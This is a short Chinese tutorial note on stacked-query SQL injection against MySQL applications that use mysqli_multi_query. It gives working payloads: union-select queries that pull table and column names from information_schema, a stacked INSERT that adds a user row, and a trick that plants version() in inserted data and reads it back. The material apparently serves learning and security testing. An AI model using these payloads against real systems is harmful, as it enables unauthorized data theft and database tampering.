堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开,而堆叠查询注入攻击就是利用此特 点,在第二条语句中构造要执行攻击的语句。 但是堆叠查询只能返回第一条查询信息,不返回后面的信息 , 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户 。

    原理:利用 mysql 里 mysqli_multi_query 和 mysql_multi_query 这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔
    利用:
    1.判断注入存在和类型//如果是字符型,那最后堆叠注入时,也要前半段要记得引号闭合,比如“id=1’;堆叠句”
    2.爆出表名,字段名。
    -999’ union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)—+ //表名
    -999’ union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=’users’ limit 1)— //字段名

    3.得到字段后,可以添加数据
    id=-999’;insert into users(id,username,password)values(1000,’moonsec’,’123456’)—+ //insert语句添加用户

    4.关键点:在添加的数据里面,插入查询句,因为堆叠一般只返回第一句的结果,所以在添加的数据中插入查询,再次访问这条数据时,对应显位就可以爆出我们想要的数据,或者直接1,show database()
    id=-999’;insert into users(id,username,password)values(1000,’version()’,’123456’)—+ //然后访问id=1000就可以看到版本了